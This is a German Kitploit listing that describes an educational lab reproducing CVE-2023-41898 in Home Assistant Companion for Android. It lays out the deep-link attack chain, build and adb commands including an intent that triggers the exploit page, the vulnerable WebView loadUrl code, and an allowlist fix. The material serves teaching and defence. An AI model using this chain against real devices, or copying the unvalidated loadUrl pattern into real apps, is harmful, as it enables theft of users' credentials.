Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-41898_Lab — Gehen Sie CVE-2023-41898 durch: Nutzen Sie einen nicht validierten Deep Link in Home Assistant Android aus, um beliebige URLs in einer privilegierten WebView zu laden und ein Fake-Token zu leaken. | Kitploit
Tools/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Android-SicherheitSchwachstellenanalyseMobile App-PenetrationstestsLernen & BildungLabs & Praxis
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

Gehen Sie CVE-2023-41898 durch: Nutzen Sie einen nicht validierten Deep Link in Home Assistant Android aus, um beliebige URLs in einer privilegierten WebView zu laden und ein Fake-Token zu leaken.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
3vor 1 MonatNoch nicht geprüft

CVE-2023-41898 Unvalidated Deep Link Lab

Dieses Lab ist eine pädagogische, verkleinerte Reproduktion, die auf dem öffentlichen Schwachstellenbericht (GHSL-2023-142) für Home Assistant Companion for Android und der Open-Source-Struktur der verwundbaren Version 2023.8.2 basiert.

Es werden keine echten Home-Assistant-Server, -Konten oder -Tokens verwendet. Es wird nur ein festes virtuelles Token namens LAB_TOKEN_CVE_2023_41898_NOT_REAL offengelegt.

Schwachstellenübersicht

  • Ziel: Home Assistant Companion for Android
  • Betroffene Versionen: unter 2023.9.2 (laut offizieller Empfehlung)
  • Behobene Version: 2023.9.2
  • Klassifizierung: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
  • Auswirkung: Beliebige JavaScript-Ausführung, Aufruf eingeschränkter nativer Funktionen, möglicher Diebstahl von Zugangsdaten

Lab-Struktur

root@kitploit:~
Attacker App
  │ expliziter ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ WebView.loadUrl() mit JavaScript ohne Validierung
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ externalApp-JavaScript-Bridge wird der Angreiferseite ausgesetzt
  ▼
Anzeige des virtuellen LAB_TOKEN

Der intent-filter im Android-Manifest definiert lediglich, welche URIs mit impliziten Intents übereinstimmen; er validiert die data-URI eines Intents, der eine Komponente explizit angibt, nicht automatisch.

Komponenten

  • victim/: App, die den verwundbaren Deep-Link-Handler und die privilegierte WebView nachbildet
  • attacker/: App, die einen expliziten Intent an die exportierte Activity der Opfer-App sendet
  • web/: Lokal bereitzustellende Angriffsseiten für Stufe 1 und 2
  • dist/: Verifizierte Debug-APK
  • UPSTREAM.md: Zuordnung zwischen Originalsource und Lab-Implementierung

Build

Anforderungen: JDK 17 oder höher, Android SDK 36, Gradle/Android-Gradle-Plugin-Cache oder Internetverbindung.

root@kitploit:~
./gradlew :victim:assembleDebug :attacker:assembleDebug

Installation und praktische Übung

Nur auf autorisierten Emulatoren oder Testgeräten ausführen.

1. APK installieren

root@kitploit:~
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. Lokale Angriffsseite starten

Führe den folgenden Befehl im Lab-Wurzelverzeichnis aus.

root@kitploit:~
python3 -m http.server 8000 --directory web

Im Standard-Emulator von Android Studio zeigt 10.0.2.2 auf das Loopback des Host-PCs. Bei Verwendung eines echten Testgeräts müssen web/exploit.html und die URL der Angriffs-App auf die LAN-IP des PCs geändert werden.

3. Angriffsablauf überprüfen

  1. Die Apps CVE-2023-41898 Victim und CVE-2023-41898 Attacker installieren.
  2. Den lokalen HTTP-Server starten.
  3. In der Attacker-App auf Verwundbaren Deep-Link-Ablauf ausführen tippen.
  4. Die erste Angriffsseite navigiert zur internen URL homeassistant://navigate/.
  5. Prüfen, ob die Angreiferseite in der zweiten WebView geladen wird und LAB_TOKEN_CVE_2023_41898_NOT_REAL angezeigt wird.

Der erste Schritt kann auch per ADB ohne die Angriffs-App aufgerufen werden.

root@kitploit:~
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

Verwundbarer Code und Korrekturansatz

Die verwundbare Implementierung lädt die externe URI unverändert.

root@kitploit:~
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

Bei der Korrektur müssen scheme, host, port und path der geparsten URI gegen eine strenge Allowlist validiert werden. String-Vergleiche mit startsWith sind zu vermeiden, da sie Umgehungen über Benutzerinformationen ([email protected]), Subdomains und Kodierung ermöglichen.

root@kitploit:~
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

Zusätzlich sollten unnötiges JavaScript und das JavascriptInterface aus der WebView entfernt und dieselbe URL-Validierung auf alle Navigationen und Weiterleitungen angewendet werden.

Sicherheitsumfang und Unterschiede zum Original

  • Es wurde nicht die gesamte Original-App gebaut, sondern nur der verwundbare Datenfluss in einem kleinen Java-Projekt nachgebildet.
  • Es sind keine echten Paketnamen, Authentifizierungsspeicher, Serverkommunikation oder Smart-Home-Funktionen enthalten.
  • Statt echter Authentifizierungstokens wird nur ein festes virtuelles Token verwendet.
  • Es wird nur der lokale HTTP-Server des Host-PCs verwendet, kein Internet-Angriffsserver.

Referenzen

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Home-Assistant-Sicherheitsempfehlung GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • Quellcode-Tag der verwundbaren Version 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
Tool herunterladen